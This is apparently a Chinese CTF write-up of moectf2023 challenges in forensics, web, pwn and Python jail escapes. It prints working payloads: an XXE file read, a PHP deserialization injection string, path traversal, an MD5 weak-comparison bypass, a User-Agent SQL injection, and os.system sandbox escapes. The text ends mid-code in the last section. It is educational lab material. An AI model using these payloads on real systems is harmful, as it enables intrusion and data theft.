moectf2023

发布时间 2023-11-28 14:17:46作者: qingshanboy

msic

打不开的图片1

下载zip压缩包,解压

里面一个f1ag的文件,改后缀jpg、png都打不开

看属性(exif),似乎没什么,用https://exif.tuchong.com/view/10809574/ 这个网站,查看exif信息

image-20230814141238871

看到一串可疑的16进制,16进制转字符

狗子(1)

一个音频文件,直接winhex打开搜索moectf文本

打不开的图片2

写的是jpg后缀,打不开应该是格式错了

winhex打开,看到了IHDR、sRGB、gAMA这是png图片

但是它的开头不对,修改保存,再打开,就有flag出现在图片中

image-20230822000348469

building_near_lake

先百度识图查看图片是在哪里

发现是厦大翔安校区图书馆

提示BD09坐标系,是百度地图

用百度地图提取坐标

查看图片exif信息,发现照相机型号,再搜索一波发现是redmi k60e,搜索其发布会时间

提交得到的信息

pwn

test_nc

就是nc连接,然后cat .flag(隐藏文件)

主要学到了一个nc工具,除了监听,用于反弹shell,还可以正向连接

web

moe图床

这题白名单只允许上传png后缀的,传个png后缀的马

用00截断,问题就在于1.php\0.png它还是说后缀错误

试了很久,就猜测是不是截取了php作为后缀到后端验证,就尝试把文件名改为1.png\0.php,结果绕过了,显示上传成功,但是这里00截断了,上传的路径是1.png

那就改名位1.png.php,结果上传成功,命令执行拿到flag

果然这种的还是要多试啊

了解你的座驾

抓包看到post数据:xml_content

把内容url解码一下是:

<xml><name>...</name></xml>

想到是xxe漏洞

构造payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///flag" >
]>
<xml>
    <name>&xxe;</name>
</xml>

记住把它url编码在传给xml_content,拿到flag

xxe还真得再学学

这题我真服了,一早就知道要伪造tocken

先试了试,jwt解不了,然后试flask-session,解开了

我就先入为主一直认为这是flask-session,然后一直找不到secret-key

就一直认为最开始的那个<屋里的狗>与secret-key有关

然后一天过去了,看到很多人做出来了,又尝试了下

猛然看到wappalyzer显示的是编程语言php,又看这个token像是base64,结果还真是,于是就伪造token

把role=user改为role=admin,修改token去GET flag

真的ctf不能某一个思路有东西出来了,就一直一条道走到黑,如果搞不出来,应该多想想其他可能,总之就是多试

夺命十三抢

<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?> 
    O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:1:"a";s:11:"Spear_Owner";s:6:"MaoLei";}
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:1:"a";s:11:"Spear_Owner";s:6:"nobody";}
array("nobody" => "MaoLei")
 <?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",12
        "di_er_qiang" => "Heartbreak",10
        "di_san_qiang" => "Blind_Dragon"12
        "di_si_qiang" => "Romantic_charm"14
        "di_wu_qiang" => "Peerless",8
        "di_liu_qiang" => "White_Dragon",12
        "di_qi_qiang" => "Penetrating_Gaze",16
        "di_ba_qiang" => "Kunpeng",7
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",32
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}

?>

 <?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>

这题需要让Spear_Owner=MaoLei,似乎只能选择,通过传入的chant去拼接一个序列化字符串,覆盖后面的Spear_Owner=nobody

我们知道反序列化各个字段的意思,闭合很简单只需要传参——";s:11:"Spear_Owner";s:6:"MaoLei";}

但是前面有个s:35(也就是s:35:"";s:11:"Spear_Owner";s:6:"MaoLei";}"),这里的35会根据你的传参长度而改变

想到之前有个函数,遍历数组的键和值,然后把传入的字符串中的键替换为值

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(//被遍历数组
        "di_yi_qiang" => "Lovesickness",12
        "di_er_qiang" => "Heartbreak",10
        "di_san_qiang" => "Blind_Dragon"12
        "di_si_qiang" => "Romantic_charm"14
        "di_wu_qiang" => "Peerless",8
        "di_liu_qiang" => "White_Dragon",12
        "di_qi_qiang" => "Penetrating_Gaze",16
        "di_ba_qiang" => "Kunpeng",7
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",32
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

思路:

通过键和值的长度差来绕过

我们传入格式:.......";s:11:"Spear_Owner";s:6:"MaoLei";},省略号处传入键值,键值会被替换为数组的值,如果键和值相差的长度刚好为35,则符合反序列化规则,可以反序列化成功

s:35:"";s:11:"Spear_Owner";s:6:"MaoLei";}最初输入是这样
修改后s:<num1>:"str1";s:11:"Spear_Owner";s:6:"MaoLei";} str1表示输入的数组键名
经过替换s:<num2>:"str2";s:11:"Spear_Owner";s:6:"MaoLei";} str2表示替换后的值
num2-num1=35

写个python脚本来找符合条件的键(其实是个半自动脚本,我是找出,值长度大于键长度的,发现刚好这几个长度差之和=35):

str = '";s:11:"Spear_Owner";s:6:"MaoLei";}'
print(len(str))

str1 = ["di_yi_qiang","di_er_qiang","di_san_qiang","di_si_qiang","di_wu_qiang","di_liu_qiang","di_qi_qiang","di_ba_qiang","di_jiu_qiang","di_shi_qiang","di_shi_yi_qiang","di_shi_er_qiang","di_shi_san_qiang"]
str2 = ["Lovesickness","Heartbreak","Heartbreak","Romantic_charm","Peerless","White_Dragon","Penetrating_Gaze","Kunpeng","Night_Parade_of_a_Hundred_Ghosts","Overlord","Letting_Go","Decisive_Victory","Unrepentant_Lethality"]
num = 0
p=""
for i in range(13):
    s = len(str2[i])-len(str1[i])
    if(s>0):
        p+=str1[i]
print(p+str)
print("--------------------")


结果:?chant=di_yi_qiangdi_si_qiangdi_qi_qiangdi_jiu_qiangdi_shi_er_qiangdi_shi_san_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

moe图床2

url/images.php?name=../html/images.php

目录结构大概是:

/var/www/html/images.php

更具报错images.php是这样拼接路径的:../uploads/name

../uploads/../../../etc/passwd

images.php

<?php
if (isset($_GET['name'])) {
    $name = $_GET['name'];
    // 显示图片并设置正确的 MIME 类型
    $imageData = file_get_contents('../uploads/'.$name);
    header("Content-Type: " . 'image/png');
    echo $imageData;
} 
?>

upload.php

<?php
// 允许的最大文件大小(单位:字节)
$maxFileSize = 2 * 1024 * 1024; // 2MB

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $uploadDir = "uploads/"; // 图片上传目录
    $imageFile = $_FILES["image"];

    // 检查文件大小
    if ($imageFile["size"] > $maxFileSize) {
        echo "文件大小超过限制(最大允许 " . ($maxFileSize / (1024 * 1024)) . "MB)。";
    } else {
        // 使用 fileinfo 扩展判断文件类型
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $imageType = finfo_file($finfo, $imageFile["tmp_name"]);
        finfo_close($finfo);

        $allowedImageTypes = ['image/jpeg', 'image/png', 'image/gif'];

        if (in_array($imageType, $allowedImageTypes)) {
            // 生成一个唯一的文件名
            $uniqueFileName = uniqid() . '_' . $imageFile["name"];
            $destinationPath = "../uploads/" . $uniqueFileName;

            // 将文件从临时位置移动到目标位置
            if (move_uploaded_file($imageFile["tmp_name"], $destinationPath)) {
                $imageUrl = "images.php?name=" . $uniqueFileName;
                echo '<a href="'.$imageUrl.'">查看</a>';
                exit;
            } else {
                echo "文件上传失败。";
            }
        } else {
            echo "只允许上传图片文件(JPEG、PNG 或 GIF)。";
        }
    }
}
?>

但是SSRF读不到flag

但给了一个提示:Fl3g_n0t_Here_dont_peek!!!!!.php

访问以下

 <?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
    $param1 = $_GET['param1'];
    $param2 = $_GET['param2'];

    if ($param1 !== $param2) {
        
        $md5Param1 = md5($param1);
        $md5Param2 = md5($param2);

        if ($md5Param1 == $md5Param2) {
            echo "O.O!! " . getenv("FLAG");
        } else {
            echo "O.o??";
        }
    } else {
        echo "o.O?";
    }
} else {
    echo "O.o?";
}

?> O.o?

就是一个弱等于绕过,给两个字符串不一样,但是md5之后是0e开头,在弱等于时会被认为是科学计数法都为0,从而绕过

param1=QNKCDZO&param2=240610708

gas!gas!gas!

这题就是写python脚本,爬取返回的页面,用xpath匹配相应关键字,根据关键字来改变要post的数据

主要就在于,这里说是坚持5轮,但是不知道为什么循环了7次才出来

脚本:

"""
左:-1
直行:0
右:1
反打方向 左:1,右:-1
"""
"""
松开:0
保持:1
全开:2
踩油门抓地力小,松开抓地力大
抓地力太大了:2 抓地力太小了:0 保持这个速度:1
"""

import requests
from lxml import html


def choose_num2(content1):
    content = content1[0]
    num2 = 0
    if "左" in content:
        num2 = 1
    elif "右" in content:
        num2 = -1
    elif "直行" in content:
        num2 = 0
    return num2

def choose_num3(content1):
    content = content1[0]
    num3 = 0
    if "抓地力太大了" in content:
        num3 = 2
    elif "抓地力太小了" in content:
        num3 = 0
    elif "保持" in content:
        num3 = 1
    return num3


num2 = 0
num3 = 2

url = "http://localhost:56222/"
session = requests.session()#注意session保持,不然永远都在第一轮


for i in range(7):
        #print(num2,num3)
        data = {
                'driver':"qs",
                'steering_control':num2,
                'throttle':num3
            }
        resp = session.post(url,data)
        etree = html.etree
        et = etree.HTML(resp.text)
        result = et.xpath('//div[@id="info"]/h2/text()')
        content = et.xpath('//div[@id="info"]/h3/font/text()')
        #当i为6,content这个匹配的表达式,匹配不到内容,choose_num2/3方法会显示,超出list范围,所以直接打印返回包,多半有flag
        if i==6:
            print(resp.text)
            break
        num2 = choose_num2(content)
        num3 = choose_num3(content)
        print(content,result)

signin

{"username":"admin","password":"admin"}

from secrets import users, salt
import hashlib
import base64
import json
import http.server

with open("flag.txt","r") as f:
    FLAG = f.read().strip()

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
    
def decrypt(data:str):
        for x in range(5):
            data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
        return data

__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")
        
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            if self.path == "/":
                self.send_response(200)
                self.end_headers()
                self.wfile.write(__page__)
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

    def do_POST(self):
        try:
            if self.path == "/login":
                body = self.rfile.read(int(self.headers.get("Content-Length")))
                payload = json.loads(body)
                params = json.loads(decrypt(payload["params"]))
                print(params)
                if params.get("username") == "admin":
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                    print("admin")
                    return
                if params.get("username") == params.get("password"):
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                    print("same")
                    return
                hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(json.dumps(data).encode())
                        print("success")
                        return
                self.send_response(403)
                self.end_headers()
                self.wfile.write(b"Invalid username or password")
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

if __name__ == "__main__":
    server = http.server.HTTPServer(("", 9999), MyHandler)
    server.serve_forever()

分析代码

也就是username不可以是admin,password不可以等于username

但是验证是传入username和passeord经过gethash()后得到的值要等于adminadmin经过gethash()的值

给我的感觉就是hash长度攻击,但是没有adminadmin经过gethash()后的值

没有salt的长度,和加密值

经过很久的尝试,发现了以下特性:

gethash这个函数只要传入两个一样的值,得到的结果都为0,但是username和passwd不可以一样,这里是弱比较,所以值一样,类型不一样绕过

出去旅游的心海

一个博客,cms是wordpress

根据提示,有一个记录访问信息的插件,查看页面源代码

找到一个路径:wp-content/plugins/visitor-logging/logger.php

加到之前url后面

 <?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
  Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = $_POST['time'];

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
    echo '数据库连接失败: ' . $mysqli->connect_error;
    exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', '$time')";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
    echo '数据插入成功';
} else {
    echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用
数据插入失败: Incorrect datetime value: '' for column 'time' at row 1

看到一段生成访问者信息的js代码:

async function submitVisitorData() {
  try {
    const response = await fetch('http://ip-api.com/json/');
    const ipData = await response.json();

    if (ipData.status === 'success') {
      const ip = ipData.query;
      const country = ipData.country;
      const city = ipData.city;

      const formData = new FormData();//创建一个表单,用于post到后端logger.php
      formData.append('ip', ip);
      formData.append('user-agent', navigator.userAgent);
      
      const dateTime = new Date().toISOString().slice(0, 19).replace('T', ' ');
      formData.append('time', dateTime);

      const infoList = document.createElement('ul');
      infoList.innerHTML = `<li>IP地址: ${ip}</li><li>国家: ${country}</li><li>城市: ${city}</li><li>User Agent: ${navigator.userAgent}</li><li>平台: ${navigator.platform}</li><li>操作系统语言: ${navigator.language}</li><li>访问时间: ${dateTime}</li>`;
      const para = document.createElement('p');
      para.innerHTML = `记到小本本里了~`;
      document.querySelector('.wp-container-1').appendChild(infoList);
      document.querySelector('.wp-container-1').appendChild(para);

      //记到小本本里~
      await fetch('wp-content/plugins/visitor-logging/logger.php', {//把之前生成的表单信息post到后端的logger.php
        method: 'POST',
        body: formData
      });

    } else {
      console.error('获取IP信息失败');
    }
  } catch (error) {
    console.error('获取IP信息时出错:', error);
  }

所以这题是insert的sql注入

这里可以控制的就是user_agent,time和ip都控制不了

useragent=payload',' ')--+

jail

jail level 0

直接__import__('os').system('ls');

jail level 2

help()
os
!sh
获取shell

好家伙,再好好看看这个help()骚操作

似乎是help(),查询的资料太多了会调用more展示,造成溢出

print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
  print("Oh hacker! Bye~")
  exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

jail level 1

breakpoint()
进入pdb,该模块定义了一个交互式源代码调试器
进去后就可以写任意代码了

好家伙,pdb,breakpoint(),学到很多东西

jail level 3

 import re
    BANLIST = ['breakpoint']
    BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
    print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
    print("Enter your expression and I will evaluate it for you.")
    user_input_data = input("> ")
    if len(user_input_data)>12:
      print("Oh hacker! Bye~")
      exit(0)
    if re.findall(BANLIST_WORDS, user_input_data, re.I):
      raise Exception('Blacklisted word detected! you are hacker!')
    print('Answer result: {}'.format(eval(user_input_data)))

jail level 4

没源码,尝试了help(),查看server源码,看不到

提示说是python2.7

想到之前做前面的题的时候,去谷歌搜到过input在python2可以把字符串当代码执行

输入
eval(input())
__import__('os').system('cat flag')

其实直接__import__('os').system('cat flag')也可以
一开始以为是那种限制字符数,然后eval(input())这样的,但是好像不是

leak level 0

 fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
    print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
    print("| Options:
|       [V]uln
|       [B]ackdoor")
    def func_filter(s):
      not_allowed = set('vvvveeee')
      return any(c in not_allowed for c in s)
    while(1):
      challenge_choice = input(">>> ").lower().strip()
      if challenge_choice == 'v':
        code = input("code >> ")
        if(len(code)>9):
          print("you're hacker!")
          exit(0)
